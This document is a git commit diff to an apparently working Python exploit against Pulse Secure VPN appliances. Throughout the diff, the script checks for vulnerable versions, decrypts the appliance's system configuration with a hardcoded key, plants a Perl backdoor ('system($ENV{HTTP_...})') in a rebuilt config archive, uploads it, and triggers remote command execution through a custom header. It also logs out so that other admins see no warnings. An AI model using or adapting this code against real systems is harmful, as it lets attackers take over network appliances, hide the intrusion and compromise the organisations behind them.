working but needs cleanup
This commit is contained in:
@@ -13,6 +13,7 @@ import struct
|
||||
import argparse
|
||||
import random
|
||||
import string
|
||||
import time
|
||||
|
||||
# extra modules
|
||||
dependencies_missing_requests = False
|
||||
@@ -170,6 +171,9 @@ def hpu(args):
|
||||
|
||||
def encrypt_config(file):
|
||||
plaintext = file.getvalue()
|
||||
# XXX
|
||||
with open('/tmp/payload', 'wb') as w:
|
||||
w.write(plaintext)
|
||||
|
||||
key_bytes = evp_bytestokey(HARDCODED_KEY, TRIPLE_DES_KEY_SIZE)
|
||||
iv = os.urandom(8)
|
||||
@@ -243,7 +247,7 @@ def upload_config(args,s, config):
|
||||
|
||||
def download_config(args, s):
|
||||
logging.info('Requesting backup config page')
|
||||
res = s.get('{}dana-admin/cached/config/config.cgi?type=system'.format(hpu(args)), verify=False, allow_redirects=False, proxies={'https':'https://127.0.0.1:8181'})
|
||||
res = s.get('{}dana-admin/cached/config/config.cgi?type=system'.format(hpu(args)), verify=False, allow_redirects=False, headers={'referer': '{}dana-admin/cached/config/config.cgi?type=system'.format(hpu(args))}, proxies={'https':'https://127.0.0.1:8181'})
|
||||
xsauth = re.search('name="xsauth" value="(?P<xsauth>[^"]+)"\/>', res.text)
|
||||
if xsauth is None:
|
||||
logging.error('Unable to detect fds or xsauth fields')
|
||||
@@ -251,7 +255,7 @@ def download_config(args, s):
|
||||
xsauth = xsauth.groupdict()['xsauth']
|
||||
logging.info("Found xsauth {}".format(xsauth))
|
||||
logging.info('Requesting encrypted config backup')
|
||||
res = s.post('{}dana-admin/download/system.cfg?url=/dana-admin/cached/config/export.cgi'.format(hpu(args)), verify=False, allow_redirects=False, data=
|
||||
res = s.post('{}dana-admin/download/system.cfg?url=/dana-admin/cached/config/export.cgi'.format(hpu(args)), verify=False, headers={'referer': '{}dana-admin/cached/config/config.cgi?type=system'.format(hpu(args))}, allow_redirects=False, data=
|
||||
{
|
||||
'txtPassword':'',
|
||||
'txtPasswordConfirm':'',
|
||||
@@ -278,13 +282,13 @@ def login(args, s):
|
||||
)
|
||||
except requests.exceptions.RequestException as e:
|
||||
logging.error('{}'.format(e))
|
||||
return
|
||||
quit()
|
||||
if res.status_code != 302:
|
||||
logging.error("Received non 302 response ({}), check URL".format(res.status_code))
|
||||
return
|
||||
quit()
|
||||
if 'failed' in res.headers['Location']:
|
||||
logging.error("Login failed. Check credentials")
|
||||
return
|
||||
quit()
|
||||
#cookie = res.cookies
|
||||
#logging.info("Using cookie {}".format(cookie))
|
||||
# if the account we login with is already logged in, or another admin is logged in, a warning is displayed. Click through it.
|
||||
@@ -296,7 +300,7 @@ def login(args, s):
|
||||
xsauth = re.search('name="xsauth" value="(?P<xsauth>[^"]+)"\/>', res2.text)
|
||||
if fds is None or xsauth is None:
|
||||
logging.error('Unable to detect fds or xsauth fields')
|
||||
return
|
||||
quit()
|
||||
fds = fds.groupdict()['fds']
|
||||
xsauth = xsauth.groupdict()['xsauth']
|
||||
#logging.info("Found fds {} and xsauth {}".format(fds, xsauth))
|
||||
@@ -312,7 +316,7 @@ def find_version(args, s):
|
||||
r = s.get('{}dana-admin/misc/admin.cgi'.format(hpu(args)), verify=False, allow_redirects=False, proxies={'https':'https://127.0.0.1:8181'})
|
||||
except requests.exceptions.RequestException as e:
|
||||
logging.error('{}'.format(e))
|
||||
return
|
||||
quit()
|
||||
v = re.search('<span id="span_stats_counter_total_users_count"[^>]+>(?P<version>[^<(]+)(?:\(build (?P<build>\d+)\))?<\/span>',r.text)
|
||||
if v:
|
||||
version = v.groupdict()['version'].strip()
|
||||
@@ -325,10 +329,8 @@ def find_version(args, s):
|
||||
logging.info("Version {}, revision {}, build {} found".format(version, revision, build))
|
||||
if float(version) <= 9.1 and float(revision) < 9:
|
||||
logging.info('Version is vulnerable')
|
||||
return [version,build]
|
||||
else:
|
||||
logging.error('Version not vulnerable')
|
||||
return None
|
||||
return
|
||||
logging.error('Version not vulnerable')
|
||||
|
||||
# Check methods aren't supported for external, but we use the name anyways for consistency
|
||||
def check(args, s):
|
||||
@@ -356,20 +358,26 @@ def run(args):
|
||||
#if cookie is None:
|
||||
# # no need to print out why, thats done in check
|
||||
# return
|
||||
#config = download_config(args, cookie)
|
||||
#if config is None:
|
||||
# logging.error('Unable to download system config')
|
||||
# return
|
||||
#config = decrypt_config(config)
|
||||
#f_memory = io.BytesIO(config)
|
||||
#f_memory.seek(0)
|
||||
#try:
|
||||
# decompressed = tarfile.open(fileobj = f_memory, mode='r:gz')
|
||||
#except:
|
||||
# logging.error('Unable to open tar file. {}'.format(sys.exc_info()[0]))
|
||||
# return
|
||||
#if 'tmp/tt/setcookie.thtml.ttc' in decompressed.getnames():
|
||||
# logging.info('Previous exploitation attempts not found')
|
||||
'''
|
||||
config = download_config(args, s)
|
||||
if config is None:
|
||||
logging.error('Unable to download system config')
|
||||
return
|
||||
config = decrypt_config(config)
|
||||
f_memory = io.BytesIO(config)
|
||||
f_memory.seek(0)
|
||||
try:
|
||||
decompressed = tarfile.open(fileobj = f_memory, mode='r:gz')
|
||||
except:
|
||||
logging.error('Unable to open tar file. {}'.format(sys.exc_info()[0]))
|
||||
return
|
||||
for f in decompressed.getnames():
|
||||
logging.info('{}'.format(f))
|
||||
if 'tmp/tt/setcookie.thtml.ttc' in decompressed.getnames():
|
||||
logging.info('Previous exploitation attempts not found')
|
||||
exp = decompressed.extractfile('tmp/tt/setcookie.thtml.ttc')
|
||||
logging.info('{}'.format(exp.read()))
|
||||
'''
|
||||
f_memory_new = io.BytesIO()
|
||||
new_config = tarfile.open(fileobj = f_memory_new, mode='w|gz')
|
||||
#logging.info('Copying old config to new one')
|
||||
@@ -382,11 +390,30 @@ def run(args):
|
||||
|
||||
#logging.info('adding backdoor')
|
||||
trigger = ''.join(random.choice(string.ascii_uppercase) for i in range(8))
|
||||
logging.info('Exploit trigger will be at {}dana-na/auth/setcookie.cgi with a header of HTTP_{}'.format(hpu(args),trigger))
|
||||
logging.info('Exploit trigger will be at {}dana-na/auth/setcookie.cgi with a header of {}'.format(hpu(args),trigger))
|
||||
backdoor = io.BytesIO('system($ENV{HTTP_PULSE_CMD})'.replace('PULSE_CMD', trigger).encode('utf-8'))
|
||||
'''
|
||||
for member in decompressed.getmembers():
|
||||
try:
|
||||
new_config.addfile(member)
|
||||
except:
|
||||
logging.error('Error adding backdoor {} -> {}'.format(sys.exc_info()[0], sys.exc_info()[1]))
|
||||
'''
|
||||
try:
|
||||
f1 = tarfile.TarInfo(name = 'tmp')
|
||||
f1.type = tarfile.DIRTYPE
|
||||
f1.mode = 509 # octal of chmod 777
|
||||
f1.mtime = time.time()
|
||||
new_config.addfile(f1)
|
||||
f2 = tarfile.TarInfo(name = 'tmp/tt')
|
||||
f2.type = tarfile.DIRTYPE
|
||||
f2.mode = 509 # octal of chmod 777
|
||||
f2.mtime = time.time()
|
||||
new_config.addfile(f2)
|
||||
bd = tarfile.TarInfo(name = 'tmp/tt/setcookie.thtml.ttc')
|
||||
bd.size = backdoor.getbuffer().nbytes
|
||||
bd.mtime = time.time()
|
||||
bd.mode = 511 # XXX octal of chmod 777
|
||||
new_config.addfile(tarinfo=bd, fileobj=backdoor)
|
||||
except:
|
||||
logging.error('Error adding backdoor {} -> {}'.format(sys.exc_info()[0], sys.exc_info()[1]))
|
||||
@@ -399,6 +426,8 @@ def run(args):
|
||||
logging.error('Error encrypting {} -> {}'.format(sys.exc_info()[0], sys.exc_info()[1]))
|
||||
return
|
||||
#logging.info('Uploading backdoored config')
|
||||
with open('/tmp/payload.encrypted', 'wb') as w:
|
||||
w.write(enc_new_config)
|
||||
content = upload_config(args, s, enc_new_config)
|
||||
# grab the logout url out of the content here
|
||||
logout = re.search('window.location.href = "\/(?P<logout>dana-na\/auth\/logout.cgi\?xsauth=.+)"',content.decode('ascii'))
|
||||
@@ -420,11 +449,13 @@ def run(args):
|
||||
res = s.get('{}{}'.format(hpu(args), logout), verify=False, allow_redirects=False, proxies={'https':'https://127.0.0.1:8181'})
|
||||
|
||||
return
|
||||
logging.info('Triggering RCE')
|
||||
res = s.get('{}dana-na/auth/setcookie.cgi'.format(hpu(args)), verify=False, allow_redirects=False, headers={'HTTP_{}'.format(trigger): args['command']}, proxies={'https':'https://127.0.0.1:8181'})
|
||||
logging.info('{}'.format(res.content))
|
||||
logging.info('Sleeping 5sec to give the system time to update, then Triggering RCE')
|
||||
#res = s.get('{}dana-na/auth/setcookie.cgi'.format(hpu(args)), verify=False, allow_redirects=False, headers={trigger: args['command']}, proxies={'https':'https://127.0.0.1:8181'})
|
||||
res = s.get('{}dana-na/auth/setcookie.cgi'.format(hpu(args)), verify=False, allow_redirects=False, headers={trigger: 'ls /etc'}, proxies={'https':'https://127.0.0.1:8181'})
|
||||
logging.info('Command Output: {}'.format(res.content.decode('utf-8').split('\n\n<html>')[0]))
|
||||
#logging.info('{}'.format(res.content))
|
||||
logging.info('Logging out to prevent warnings to other admins')
|
||||
if not logogout is None:
|
||||
if not logout is None:
|
||||
res = s.get('{}{}'.format(hpu(args), logout), verify=False, allow_redirects=False, proxies={'https':'https://127.0.0.1:8181'})
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user